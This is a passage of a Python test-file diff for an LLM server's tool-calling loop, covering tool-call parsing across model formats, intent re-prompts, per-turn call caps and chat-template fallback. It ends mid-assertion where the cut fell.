GGUF vs safetensors/MLX loop parity so a regression on either side breaks CI.""" + + def test_gguf_imports_shared_signal_markers(self): + # The GGUF BUFFERING state machine must wake on every emission + # marker the shared parser knows -- otherwise Llama-3 / Mistral + # / Gemma 4 emissions slip past as plain prose when the + # llama-server structured channel fails. + import inspect + + from core.inference.llama_cpp import LlamaCppBackend + + src = inspect.getsource(LlamaCppBackend.generate_chat_completion_with_tools) + assert "_SHARED_TOOL_XML_SIGNALS" in src, ( + "GGUF agentic loop must reuse the shared TOOL_XML_SIGNALS " + "tuple so it wakes on all five emission formats" + ) + + def test_gguf_uses_shared_strip_helper(self): + # The GGUF stream-cleanup function must delegate to the shared + # strip_tool_markup so closed-pair markup is removed for every + # emission family (Llama-3 <|python_tag|>, Mistral [TOOL_CALLS], + # Gemma 4 <|tool_call>...). + import inspect + + from core.inference.llama_cpp import LlamaCppBackend + + src = inspect.getsource(LlamaCppBackend.generate_chat_completion_with_tools) + assert ( + "_shared_strip_tool_markup" in src + ), "GGUF stream cleanup must delegate to the shared strip_tool_markup helper" + + def test_gguf_uses_canonical_heal_keys(self): + # GGUF and safetensors heal a bare-string ``arguments`` to the same + # per-tool canonical key -- ``code`` for python, ``command`` for + # terminal, ``query`` for everything else. The mapping is centralised in + # the shared ToolLoopController (both backends route bare-string args + # through ``coerce_tool_arguments``), so the two paths cannot drift. + from core.inference.tool_loop_controller import ( + _CANONICAL_HEAL_ARG, + coerce_tool_arguments, + ) + + assert _CANONICAL_HEAL_ARG["python"] == "code" + assert _CANONICAL_HEAL_ARG["terminal"] == "command" + assert coerce_tool_arguments("print(1)", heal = True, tool_name = "python").arguments == { + "code": "print(1)" + } + assert coerce_tool_arguments("ls -la", heal = True, tool_name = "terminal").arguments == { + "command": "ls -la" + } + assert coerce_tool_arguments("weather", heal = True, tool_name = "web_search").arguments == { + "query": "weather" + } + + def test_intent_regex_matches_same_phrases_as_gguf(self): + # The intent re-prompt regex is now a single shared source of truth + # (tool_call_parser.INTENT_SIGNAL) consumed by both the GGUF and the + # safetensors/MLX loops, so behaviour is identical on Mac and Linux. + # Both backends must resolve to that one shared helper. + from core.inference.llama_cpp import ( + _is_short_intent_without_action as gguf_fn, + ) + from core.inference.safetensors_agentic import ( + is_short_intent_without_action as sf_fn, + ) + from core.inference.tool_call_parser import ( + INTENT_SIGNAL as shared_re, + is_short_intent_without_action as shared_fn, + ) + + assert gguf_fn is shared_fn and sf_fn is shared_fn + + for phrase in ( + "I'll search for that", + "I will look it up", + "Let me check", + "I am going to call the tool", + "First, I will explore", + "Here's my plan", + "Now I need to call web_search", + ): + assert shared_re.search(phrase), f"missed {phrase!r}" + assert shared_fn(phrase), f"helper missed {phrase!r}" + + for plain in ( + "4", + "Hello!", + "The sky is blue.", + "I can help with that.", + "I should mention", + "Let's go.", + # Negated intent is a refusal, not a plan: neither backend may + # force a tool-call re-prompt on it. + "I will not search the web for that.", + "I'll never call that tool.", + ): + assert not shared_re.search(plain), f"wrongly fired on {plain!r}" + assert not shared_fn(plain), f"helper wrongly fired on {plain!r}" + + def test_max_reprompts_equal_on_both_backends(self): + # Both loops draw the cap from the shared constant, so they stay equal. + from core.inference.llama_cpp import _MAX_REPROMPTS as gguf_cap + from core.inference.safetensors_agentic import MAX_ACT_REPROMPTS as sf_cap + from core.inference.tool_call_parser import MAX_ACT_REPROMPTS as shared_cap + + assert gguf_cap == sf_cap == shared_cap + + class TestLoopControl: def test_cancel_event_breaks_loop(self): cancel = threading.Event() @@ -1187,6 +3781,28 @@ class TestGuardrails: and event.get("type") in {"tool_start", "tool_end"} ] + def test_same_turn_distinct_calls_are_capped(self): + # >_MAX_TOOL_CALLS_PER_TURN DISTINCT calls in one turn must be capped so a runaway turn + # cannot fan out into many executions (the GGUF path is held back by llama-server's lazy ... + from core.inference.safetensors_agentic import _MAX_TOOL_CALLS_PER_TURN + + n = _MAX_TOOL_CALLS_PER_TURN + 4 + turn = "".join( + '{"name":"web_search","arguments":{"query":"q%d"}}' % i + for i in range(n) + ) + loop, exec_fn = _make_loop( + turns = [[turn], ["final"]], + exec_results = ["r"] * n, + max_tool_iterations = 2, + ) + _collect_events(loop) + assert len(exec_fn.calls) == _MAX_TOOL_CALLS_PER_TURN + # The first N distinct queries executed, in document order. + assert [a["query"] for _name, a in exec_fn.calls] == [ + "q%d" % i for i in range(_MAX_TOOL_CALLS_PER_TURN) + ] + def test_coerce_string_args_python_uses_code_key(self): assert _coerce_arguments("print(1)", heal = True, tool_name = "python") == {"code": "print(1)"} @@ -1225,5 +3841,918 @@ class TestGptOssNameDetection: assert is_gpt_oss_model_name(cast(str, None)) is False +# ──────────────────────────────────────────────────────────────────── +# Plan-without-action re-prompt (GGUF loop parity) +# ──────────────────────────────────────────────────────────────────── + + +class TestPlanWithoutActionReprompt: + def test_short_intent_is_reprompted_and_tool_executes(self): + loop, exec_fn = _make_loop( + turns = [ + ["I'll search the web for that."], + ['{"name":"web_search","arguments":{"query":"cats"}}'], + ["Here is the final answer."], + ], + exec_results = ["result-1"], + nudge_tool_calls = True, + ) + events = _collect_events(loop) + assert [c[0] for c in exec_fn.calls] == ["web_search"] + texts = [e["text"] for e in events if e["type"] == "content"] + assert any("Here is the final answer." in t for t in texts) + + def test_reprompt_fires_up_to_the_cap(self): + # GGUF parity: a persistently stalling model is re-prompted up to + # MAX_ACT_REPROMPTS times, then the last stall is surrendered as the + # final answer and no further turn is generated. + from core.inference.tool_call_parser import MAX_ACT_REPROMPTS + + stall = "Let me look into it first." + turns = [["I'll search the web for that."]] + turns += [[stall]] * MAX_ACT_REPROMPTS + turns += [["SHOULD NOT APPEAR"]] + + generations = {"count": 0} + turn_iter = iter(turns) + + def _gen(_messages): + generations["count"] += 1 + try: + chunks = next(turn_iter) + except StopIteration: + return + acc = "" + for c in chunks: + acc += c + yield acc + + exec_fn = FakeExecuteTool([]) + loop = run_safetensors_tool_loop( + single_turn = _gen, + messages = [{"role": "user", "content": "hi"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + execute_tool = exec_fn, + nudge_tool_calls = True, + ) + events = _collect_events(loop) + assert exec_fn.calls == [] + # One initial turn plus exactly MAX_ACT_REPROMPTS re-prompted turns. + assert generations["count"] == MAX_ACT_REPROMPTS + 1 + texts = [e["text"] for e in events if e["type"] == "content"] + assert any(stall in t for t in texts) + assert not any("SHOULD NOT APPEAR" in t for t in texts) + + def test_long_prose_answer_is_not_reprompted(self): + long_answer = "I'll keep explaining the details of the topic. " * 60 + loop, exec_fn = _make_loop( + turns = [ + [long_answer], + ["SHOULD NOT APPEAR"], + ], + nudge_tool_calls = True, + ) + events = _collect_events(loop) + assert exec_fn.calls == [] + texts = [e["text"] for e in events if e["type"] == "content"] + assert not any("SHOULD NOT APPEAR" in t for t in texts) + + def test_disabled_auto_heal_is_not_reprompted(self): + loop, exec_fn = _make_loop( + turns = [ + ["I'll search the web for that."], + ["SHOULD NOT APPEAR"], + ], + auto_heal_tool_calls = False, + nudge_tool_calls = True, + ) + events = _collect_events(loop) + assert exec_fn.calls == [] + texts = [e["text"] for e in events if e["type"] == "content"] + assert any("I'll search the web for that." in t for t in texts) + assert not any("SHOULD NOT APPEAR" in t for t in texts) + + def test_explicit_nudge_off_is_not_reprompted(self): + loop, exec_fn = _make_loop( + turns = [ + ["I'll search the web for that."], + ["SHOULD NOT APPEAR"], + ], + nudge_tool_calls = False, + ) + events = _collect_events(loop) + assert exec_fn.calls == [] + texts = [e["text"] for e in events if e["type"] == "content"] + assert any("I'll search the web for that." in t for t in texts) + assert not any("SHOULD NOT APPEAR" in t for t in texts) + + def test_omitted_nudge_flag_is_not_reprompted(self): + # The retry is new on this loop: API callers who do not send the flag + # must keep today's behavior. Studio opts in explicitly. + loop, exec_fn = _make_loop( + turns = [ + ["I'll search the web for that."], + ["SHOULD NOT APPEAR"], + ], + ) + events = _collect_events(loop) + assert exec_fn.calls == [] + texts = [e["text"] for e in events if e["type"] == "content"] + assert any("I'll search the web for that." in t for t in texts) + assert not any("SHOULD NOT APPEAR" in t for t in texts) + + def test_rag_autoinject_counts_as_executed_tool(self, monkeypatch): + # Autoinject already ran a KB search outside the controller; a short + # post-retrieval intent must not trigger a spurious re-prompt. + import core.inference.tools as tools_mod + + def fake_autoinject(conversation, rag_scope): + return { + "events": [ + {"type": "tool_start", "tool_name": "search_knowledge_base"}, + {"type": "tool_end", "tool_name": "search_knowledge_base"}, + ], + "messages": [{"role": "tool", "content": "kb result"}], + } + + monkeypatch.setattr(tools_mod, "build_rag_autoinject", fake_autoinject) + loop, exec_fn = _make_loop( + turns = [ + ["I'll search the docs."], + ["SHOULD NOT APPEAR"], + ], + nudge_tool_calls = True, + ) + events = _collect_events(loop) + assert exec_fn.calls == [] + assert any(e.get("type") == "tool_start" for e in events) + texts = [e["text"] for e in events if e["type"] == "content"] + assert any("I'll search the docs." in t for t in texts) + assert not any("SHOULD NOT APPEAR" in t for t in texts) + + def test_no_reprompt_after_a_denied_tool_confirmation(self, monkeypatch): + # An explicit user denial must not be answered with a nudge to call + # the tool again (which would raise another confirmation prompt). + monkeypatch.setattr(safetensors_agentic, "new_approval_id", lambda: "appr-1") + monkeypatch.setattr(safetensors_agentic, "begin_tool_decision", lambda *_a, **_k: object()) + monkeypatch.setattr(safetensors_agentic, "wait_tool_decision", lambda *_a, **_k: "deny") + loop, exec_fn = _make_loop( + turns = [ + ['{"name":"web_search","arguments":{"query":"cats"}}'], + ["I'll search again."], + ["SHOULD NOT APPEAR"], + ], + confirm_tool_calls = True, + session_id = "sess", + nudge_tool_calls = True, + ) + events = _collect_events(loop) + assert exec_fn.calls == [] + texts = [e["text"] for e in events if e["type"] == "content"] + assert any("I'll search again." in t for t in texts) + assert not any("SHOULD NOT APPEAR" in t for t in texts) + + def test_no_reprompt_after_a_tool_already_executed(self): + loop, exec_fn = _make_loop( + turns = [ + ['{"name":"web_search","arguments":{"query":"cats"}}'], + ["Now I'll refine the search."], + ["SHOULD NOT APPEAR"], + ], + exec_results = ["result-1"], + nudge_tool_calls = True, + ) + events = _collect_events(loop) + assert [c[0] for c in exec_fn.calls] == ["web_search"] + texts = [e["text"] for e in events if e["type"] == "content"] + assert not any("SHOULD NOT APPEAR" in t for t in texts) + + +# Routes-level python_tag strip (multi-line; stop on next sentinel) +class TestRoutesPythonTagStrip: + """``_TOOL_XML_RE`` must consume multi-line code, embedded JSON, and bare ``<`` (earlier ``[^\n<]*`` / ``[^\n]*`` revisions leaked tails); the streaming route-level strip is the regression-prone path.""" + + def _strip(self, text: str) -> str: + # Import inside the test so a routes-module import error does + # not blow up the entire test file at collection time. + from routes.inference import _strip_tool_xml + return _strip_tool_xml(text) + + def test_single_line_python_tag_stripped(self): + # Floor: the original 5620 single-line behaviour still works. + text = '<|python_tag|>brave_search.call(query="weather")' + assert self._strip(text) == "" + + def test_python_tag_with_less_than_in_code(self): + # 5615 regression: literal ``<`` inside code must NOT terminate + # the strip early. + text = '<|python_tag|>python.call(code="if x < 10: pass")' + assert self._strip(text) == "" + + def test_python_tag_multiline_code_stripped(self): + # 5620 round-1 regression: multi-line code's second line leaked. + text = '<|python_tag|>python.call(code="line1\nline2\nline3")' + assert self._strip(text) == "" + + def test_python_tag_multiline_with_less_than(self): + # Combined: multi-line code AND literal ``<`` in code. + text = ( + '<|python_tag|>python.call(code="for i in range(10):\n' + " if i < 5:\n" + ' print(i)")' + ) + assert self._strip(text) == "" + + def test_python_tag_stops_at_eom_sentinel(self): + # Strip stops at the next Llama-3 ``<|`` sentinel so any + # trailing assistant content survives. + text = '<|python_tag|>python.call(code="multi\nline")' "<|eom_id|>final answer text" + assert self._strip(text) == "<|eom_id|>final answer text" + + def test_python_tag_stops_at_eot_sentinel(self): + text = '<|python_tag|>brave_search.call(query="x")' "<|eot_id|>after" + assert self._strip(text) == "<|eot_id|>after" + + def test_python_tag_json_form_multiline_stripped(self): + # The JSON form of python_tag with newlines inside string args. + text = '<|python_tag|>{"name":"python","parameters":{"code":"a = 1\nb = 2\nprint(a+b)"}}' + assert self._strip(text) == "" + + def test_python_tag_with_eom_then_trailing_python_tag(self): + # Two python_tag emissions back-to-back across a sentinel: both + # should strip independently. + text = ( + '<|python_tag|>brave_search.call(query="a")' + "<|eom_id|>" + '<|python_tag|>python.call(code="x=1")' + ) + # ``<|eom_id|>`` between the two strips remains; both + # python_tag blocks are fully consumed. + assert self._strip(text) == "<|eom_id|>" + + +# Robustness fixes uncovered while validating against vLLM / sglang. +class TestParserRobustness: + def test_tool_call_json_accepts_parameters_key(self): + # Hermes wrapper around a Llama-3.2 bare-JSON object that uses + # ``parameters`` instead of ``arguments``. The bare-JSON and + # python_tag paths already accept both keys; this path now does + # too. Was extracting name only and silently dropping the args. + import json + + text = "\n" '{"name": "search", "parameters": {"q": "ramen"}}\n' "" + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "search" + assert json.loads(result[0]["function"]["arguments"]) == {"q": "ramen"} + + def test_function_xml_attribute_form(self): + # MiniCPM-5 / MiniMax-M2 attribute syntax: + # ``v``. + import json + + text = '' 'Tokyo' "" + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "get_weather" + assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"} + + def test_function_xml_attribute_form_multi_param(self): + import json + + text = ( + '' + 'Tokyo' + 'celsius' + "" + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + args = json.loads(result[0]["function"]["arguments"]) + assert args == {"city": "Tokyo", "unit": "celsius"} + + def test_function_xml_legacy_equals_form_still_works(self): + # Regression guard: the old ``v`` + # syntax must keep parsing after the regex broadening. + import json + + text = "Tokyo" + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "get_weather" + assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"} + + def test_function_attribute_form_has_tool_signal(self): + # The standalone ```` attribute form must flip + # the streaming buffer; otherwise the end-of-turn safety-net parse in + # the agentic loop is gated off and the real call is dropped. + assert has_tool_signal('') is True + + def test_function_attribute_form_strip_markup(self): + # The attribute form must also be stripped from displayed text, like + # the legacy ```` form. + text = 'result X' + assert strip_tool_markup(text, final = True) == "result" + + def test_llama3_chat_template_round_trip(self): + # Meta's official Llama-3.x chat template prefixes every + # assistant turn with + # ``<|start_header_id|>assistant<|end_header_id|>\n\n``. The + # sentinel-strip in ``_parse_llama3_bare_json`` must reach past + # the role label to the JSON body, else every round-tripped + # tool call in history silently drops. + import json + + text = ( + "<|start_header_id|>assistant<|end_header_id|>\n\n" + '{"name": "get_weather", "parameters": {"city": "Tokyo"}}' + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "get_weather" + assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"} + + def test_llama3_round_trip_all_roles(self): + # Same logic must work for every role the chat template inserts. + import json + for role in ("assistant", "user", "system", "tool", "ipython"): + text = ( + f"<|start_header_id|>{role}<|end_header_id|>\n\n" + '{"name": "f", "parameters": {"x": 1}}' + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1, f"failed for role={role}" + assert json.loads(result[0]["function"]["arguments"]) == {"x": 1} + + def test_llama3_round_trip_with_eot_prefix(self): + # Prior assistant turn closes with ``<|eot_id|>``, then the + # new header opens. Both sentinels + the role must be consumed. + import json + + text = ( + "<|eot_id|><|start_header_id|>assistant<|end_header_id|>\n\n" + '{"name": "f", "parameters": {}}' + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "f" + + def test_function_xml_followed_by_prose(self): + # Models routinely follow a tool call with explanatory prose. + # Body must terminate at ```` even without a + # ```` wrapper, else trailing prose leaks into the + # last parameter value. + import json + + text = ( + "" + "Tokyo" + "\n\nHere is what I found." + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"} + + def test_function_attribute_xml_followed_by_prose(self): + # Same expectation for the MiniCPM-5 attribute form. + import json + + text = ( + '' + 'Tokyo' + "\n\nLet me know if you need anything else." + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"} + + +def test_render_with_native_template_returns_render_only_when_tools_emitted(): + # The native-template fallback re-renders with the model's repo template when an override drops + # the tools schema. + from types import SimpleNamespace + + from core.inference.chat_template_helpers import render_native_template + + messages = [{"role": "user", "content": "hi"}] + tools = [{"type": "function", "function": {"name": "web_search"}}] + model_info = { + "native_chat_template": "TPL", + "tokenizer": SimpleNamespace(chat_template = "OVERRIDE"), + } + + def emitting(tokenizer, msgs, *, tools, **_kw): + body = "".join(m["content"] for m in msgs) + return body + ("|TOOLS=" + ",".join(t["function"]["name"] for t in tools) if tools else "") + + def ignoring(tokenizer, msgs, *, tools, **_kw): + return "".join(m["content"] for m in msgs) # never reflects tools + + out = render_native_template( + model_info = dict(model_info), + active_model_name = "x", + messages = messages, + tools = tools, + apply_fn = emitting, + ) + assert out == "hi|TOOLS=web_search" + # The native template must be restored on the live tokenizer after probing. + assert model_info["tokenizer"].chat_template == "OVERRIDE" + + assert ( + render_native_template( + model_info = dict(model_info), + active_model_name = "x", + messages = messages, + tools = tools, + apply_fn = ignoring, + ) + is None + ) + + # No tokenizer and no processor -> return None instead of an AttributeError. + no_tok = {"native_chat_template": "TPL"} + assert ( + render_native_template( + model_info = no_tok, + active_model_name = "x", + messages = messages, + tools = tools, + apply_fn = emitting, + ) + is None + ) + + +def test_render_with_native_template_does_not_mutate_shared_tokenizer(): + # The shared tokenizer must never carry the temporary native template, even mid-render: this + # runs outside the generation lock, so a concurrent request could otherwise render with the ... + from types import SimpleNamespace + + from core.inference.chat_template_helpers import render_native_template + + shared = SimpleNamespace(chat_template = "OVERRIDE") + seen = [] + + def capture(tokenizer, msgs, *, tools, **_kw): + seen.append((tokenizer is shared, shared.chat_template)) + body = "".join(m["content"] for m in msgs) + return body + ("|T" if tools else "") + + model_info = {"native_chat_template": "TPL", "tokenizer": shared} + render_native_template( + model_info = model_info, + active_model_name = "x", + messages = [{"role": "user", "content": "hi"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + apply_fn = capture, + ) + # Rendering happened on a copy, and the shared tokenizer stayed "OVERRIDE" + # throughout (never the temporary "TPL"). + assert seen and all(not is_shared for is_shared, _ in seen) + assert all(tpl == "OVERRIDE" for _, tpl in seen) + assert shared.chat_template == "OVERRIDE" + + +def test_native_template_loads_from_base_model_for_lora(monkeypatch): + # For a LoRA adapter the chat template lives on the base model; active_model_name + # is the adapter id and may ship no template. The loader must read base_model. + from types import SimpleNamespace + + import transformers + + from core.inference.chat_template_helpers import render_native_template + + captured = {} + + def fake_from_pretrained(name, *args, **kwargs): + captured["source"] = name + return SimpleNamespace(chat_template = "BASE_TPL") + + monkeypatch.setattr(transformers.AutoTokenizer, "from_pretrained", fake_from_pretrained) + + def emitting(tokenizer, msgs, *, tools, **_kw): + body = "".join(m["content"] for m in msgs) + return body + ("|T" if tools else "") + + model_info = { + "base_model": "base/model-id", + "tokenizer": SimpleNamespace(chat_template = "OVERRIDE"), + } + out = render_native_template( + model_info = model_info, + active_model_name = "adapter/path", + messages = [{"role": "user", "content": "hi"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + apply_fn = emitting, + ) + assert captured["source"] == "base/model-id" + assert out == "hi|T" + + +def test_render_with_native_template_fallback_swaps_when_override_drops_tools(): + # The shared gate (used by the transformers and MLX backends): when the live render is + # identical with and without tools, re-render with the native template and return it. + from types import SimpleNamespace + + from core.inference.chat_template_helpers import render_with_native_template_fallback + + messages = [{"role": "user", "content": "hi"}] + tools = [{"type": "function", "function": {"name": "web_search"}}] + + # apply_fn that IGNORES tools -> live render drops the schema. + def ignoring(tokenizer, msgs, *, tools, **_kw): + return "".join(m["content"] for m in msgs) + + model_info = { + "native_chat_template": "TPL", + "tokenizer": SimpleNamespace(chat_template = "OVERRIDE"), + } + + # Native render emits the tools, so the fallback swaps to it. + def native_emits(tokenizer, msgs, *, tools, **_kw): + body = "".join(m["content"] for m in msgs) + return body + ("|TOOLS" if tools else "") + + out = render_with_native_template_fallback( + formatted_prompt = ignoring(None, messages, tools = tools), + tokenizer = SimpleNamespace(), + model_info = dict(model_info), + active_model_name = "x", + messages = messages, + tools = tools, + apply_fn = lambda tok, msgs, *, tools, **kw: ( + native_emits(tok, msgs, tools = tools) + if getattr(tok, "chat_template", None) == "TPL" + else ignoring(tok, msgs, tools = tools) + ), + ) + assert out == "hi|TOOLS", out + + +def test_render_with_native_template_fallback_keeps_prompt_when_tools_emitted(): + # Live render already differs with vs without tools -> no fallback, returned + # unchanged. Also a no-tools call is a passthrough. + from types import SimpleNamespace + + from core.inference.chat_template_helpers import render_with_native_template_fallback + + messages = [{"role": "user", "content": "hi"}] + tools = [{"type": "function", "function": {"name": "web_search"}}] + + def emitting(tokenizer, msgs, *, tools, **_kw): + body = "".join(m["content"] for m in msgs) + return body + ("|T" if tools else "") + + kept = render_with_native_template_fallback( + formatted_prompt = emitting(None, messages, tools = tools), + tokenizer = SimpleNamespace(), + model_info = {"native_chat_template": "TPL", "tokenizer": SimpleNamespace()}, + active_model_name = "x", + messages = messages, + tools = tools, + apply_fn = emitting, + ) + assert kept == "hi|T", kept + + # No tools -> passthrough (native template never consulted). + passthrough = render_with_native_template_fallback( + formatted_prompt = "hi", + tokenizer = SimpleNamespace(), + model_info = {}, + active_model_name = "x", + messages = messages, + tools = None, + apply_fn = emitting, + ) + assert passthrough == "hi" + + +def test_render_with_native_template_fallback_keeps_prompt_when_no_tools_probe_raises(): + # A template that REQUIRES tools can raise on the no-tools probe. + from types import SimpleNamespace + + from core.inference.chat_template_helpers import render_with_native_template_fallback + + messages = [{"role": "user", "content": "hi"}] + tools = [{"type": "function", "function": {"name": "web_search"}}] + + def raises_without_tools(tokenizer, msgs, *, tools, **_kw): + if not tools: + raise RuntimeError("template requires tools") + return "".join(m["content"] for m in msgs) + "|T" + + out = render_with_native_template_fallback( + formatted_prompt = "hi|T", + tokenizer = SimpleNamespace(), + model_info = {"native_chat_template": "TPL", "tokenizer": SimpleNamespace()}, + active_model_name = "x", + messages = messages, + tools = tools, + apply_fn = raises_without_tools, + ) + assert out == "hi|T", out + + +def test_truncated_bare_json_at_eof_is_not_leaked(): + # Stream ends mid bare-JSON object: the held fragment must be dropped at the + # EOF resolver, not flushed as plain assistant content (GGUF parity). + loop, _exec = _make_loop( + turns = [['{"name":"web_search","parameters":{"query":"weather in S']], + max_tool_iterations = 1, + ) + events = _collect_events(loop) + contents = [e["text"] for e in events if e["type"] == "content"] + assert not any('"name"' in t for t in contents), contents + + +def test_oversized_bare_json_call_is_not_leaked_and_executes(): + # A bare-JSON call whose arguments exceed _MAX_BARE_JSON_BUFFER must DRAIN + # (suppress) rather than stream the raw JSON prefix, and still execute once + # the full object is parsed by the safety net. + from core.inference.safetensors_agentic import _MAX_BARE_JSON_BUFFER + + big = "A" * (_MAX_BARE_JSON_BUFFER + 5000) + full = '{"name":"python","parameters":{"code":"' + big + '"}}' + chunks = [full[i : i + 2000] for i in range(0, len(full), 2000)] + loop, exec_fn = _make_loop(turns = [chunks, ["done"]], exec_results = ["OK"], max_tool_iterations = 2) + events = _collect_events(loop) + contents = [e["text"] for e in events if e["type"] == "content"] + assert not any(t.lstrip().startswith('{"name') for t in contents), contents[:1] + assert exec_fn.calls and exec_fn.calls[0][0] == "python" + assert len(exec_fn.calls[0][1].get("code", "")) > _MAX_BARE_JSON_BUFFER + + +def test_oversized_plain_json_answer_still_streams(): + # A giant plain JSON answer (no "name" key) is NOT a tool call and must still + # stream -- the oversized DRAIN route is gated on a "name" key. + from core.inference.safetensors_agentic import _MAX_BARE_JSON_BUFFER + + big = "A" * (_MAX_BARE_JSON_BUFFER + 5000) + full = '{"result":"' + big + '"}' + chunks = [full[i : i + 2000] for i in range(0, len(full), 2000)] + loop, _exec = _make_loop(turns = [chunks], max_tool_iterations = 1) + events = _collect_events(loop) + contents = "".join(e["text"] for e in events if e["type"] == "content") + assert '"result"' in contents + + +def test_oversized_disabled_name_json_answer_still_streams(): + # A giant still-open JSON answer whose "name" is NOT an enabled tool must stream: + # the oversized DRAIN branch was gated only on the presence of a "name" key, so a + # large ordinary record ({"name":"Alice",...}) was drained instead of shown. + from core.inference.safetensors_agentic import _MAX_BARE_JSON_BUFFER + + big = "A" * (_MAX_BARE_JSON_BUFFER + 5000) + answer = '{"name":"Alice","parameters":{"bio":"' + big # never closes + chunks = [answer[i : i + 2000] for i in range(0, len(answer), 2000)] + loop, exec_fn = _make_loop(turns = [chunks], max_tool_iterations = 1) + events = _collect_events(loop) + assert exec_fn.calls == [], exec_fn.calls + contents = "".join(e["text"] for e in events if e["type"] == "content") + assert "Alice" in contents, contents[:80] + + +def test_truncated_disabled_name_json_is_shown_at_eof(): + # A truncated ordinary JSON answer whose name is not an enabled tool, held to EOF, + # must be shown -- the EOF bare-JSON DRAIN branch was gated only on a "name" key. + truncated = '{"name":"Alice","parameters":{"age":' + loop, exec_fn = _make_loop(turns = [[truncated]], max_tool_iterations = 1) + events = _collect_events(loop) + assert exec_fn.calls == [], exec_fn.calls + contents = "".join(e["text"] for e in events if e["type"] == "content") + assert "Alice" in contents, contents + + +def test_truncated_plain_json_with_nested_enabled_name_is_visible(): + # A truncated ordinary JSON answer with a NESTED ``"name"`` matching an enabled + # tool ({"result":{"name":"web_search",...) must be shown, not suppressed: the + # gate now extracts the TOP-LEVEL name only, so the nested field is just data. + loop, exec_fn = _make_loop( + turns = [['{"result":{"name":"web_search","age":']], + max_tool_iterations = 1, + ) + events = _collect_events(loop) + assert exec_fn.calls == [] + contents = "".join(e["text"] for e in events if e["type"] == "content") + assert '"result"' in contents and "web_search" in contents, contents + + +def test_bare_json_call_not_replayed_in_next_turn_content(): + # After a complete bare-JSON call executes, the assistant content fed to the + # next turn must not contain the raw call (next-turn contamination). + captured: list[list[dict]] = [] + exec_fn = FakeExecuteTool(["RESULT"]) + + def st(messages, active_tools = None): + captured.append([dict(m) for m in messages]) + if len(captured) == 1: + yield '{"name":"web_search","parameters":{"query":"cats"}}' + else: + yield "Found." + + _collect_events( + run_safetensors_tool_loop( + single_turn = st, + messages = [{"role": "user", "content": "cats"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + execute_tool = exec_fn, + max_tool_iterations = 3, + ) + ) + assert len(captured) >= 2, captured + asst = [m for m in captured[1] if m.get("role") == "assistant"] + assert asst and not any('"name"' in (m.get("content") or "") for m in asst), asst + + if __name__ == "__main__": pytest.main([__file__, "-v"]) + + +def test_streaming_strip_keeps_bare_args_before_think_block(): + # F3: a bare ``foo[ARGS]`` before a think block is prose; EOS-anchored tail arms run only + # on the last segment. + text = "Please pass foo[ARGS] pause to the template." + out = strip_tool_markup_streaming(text, tool_protocol_active = True) + assert out == text + + +def test_streaming_strip_still_removes_complete_call_before_think_block(): + # A complete bracket call before a think block still strips in the non-last segment. + text = 'go web_search[ARGS]{"q":"x"} z done' + out = strip_tool_markup_streaming(text, tool_protocol_active = True) + assert "web_search[ARGS]" not in out + assert "z" in out + assert "go" in out and "done" in out + + +def test_prose_args_marker_before_real_call_does_not_drain_the_prose(): + # F5: an inactive ``foo[ARGS]`` in prose is not a call boundary; the prose streams in + # full and the later real call still executes. + loop, exec_fn = _make_loop( + turns = [ + ["Intro ", "foo[ARGS] syntax. ", 'web_search[ARGS]{"query":"cats"}'], + ["Cats are great."], + ], + exec_results = ["RESULT"], + max_tool_iterations = 3, + ) + events = _collect_events(loop) + assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls + contents = [e["text"] for e in events if e["type"] == "content"] + # The prose between the bogus marker and the real call must survive. + assert any("foo[ARGS] syntax." in t for t in contents), contents + # The real call markup is never shown as content. + assert not any("web_search[ARGS]" in t for t in contents), contents + + +def test_inactive_name_args_with_body_is_not_parsed_into_disabled_noop(): + # BUG A: a prose answer with an inactive ``foo[ARGS]{...}`` is not drained into a + # disabled no-op extra turn; the [ARGS] checks are name-gated. + turns = [['foo[ARGS]{"x":1} is just syntax.']] + turn_calls: list[int] = [] + + def _gen(_messages): + turn_calls.append(1) + chunks = turns[len(turn_calls) - 1] if len(turn_calls) <= len(turns) else [] + acc = "" + for chunk in chunks: + acc += chunk + yield acc + + exec_fn = FakeExecuteTool([]) + loop = run_safetensors_tool_loop( + single_turn = _gen, + messages = [{"role": "user", "content": "explain"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + execute_tool = exec_fn, + max_tool_iterations = 3, + ) + events = _collect_events(loop) + assert exec_fn.calls == [], exec_fn.calls + assert not any(e["type"] in ("tool_start", "tool_end") for e in events), events + # Exactly one generation turn -- no disabled ``foo`` no-op re-prompt. + assert len(turn_calls) == 1, turn_calls + contents = [e["text"] for e in events if e["type"] == "content"] + assert any("is just syntax." in t for t in contents), contents + + +class TestEnabledToolNameGate: + """The safetensors loop passes the active tool names into parse/strip so the + ambiguous bare-rehearsal ``NAME[ARGS]{json}`` is treated as a call only when NAME + is an active tool (#5704). Without the gate an inactive ``foo[ARGS]{...}`` in prose + was parsed into a disabled no-op call and stripped from the visible text.""" + + def _names(self, calls): + return [c["function"]["name"] for c in calls] + + def test_parse_inactive_rehearsal_does_not_swallow_active_call(self): + text = 'foo[ARGS]{"a":1} web_search[ARGS]{"query":"cats"}' + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) + assert self._names(calls) == ["web_search"] + assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"} + + def test_parse_inactive_rehearsal_alone_is_prose(self): + assert ( + 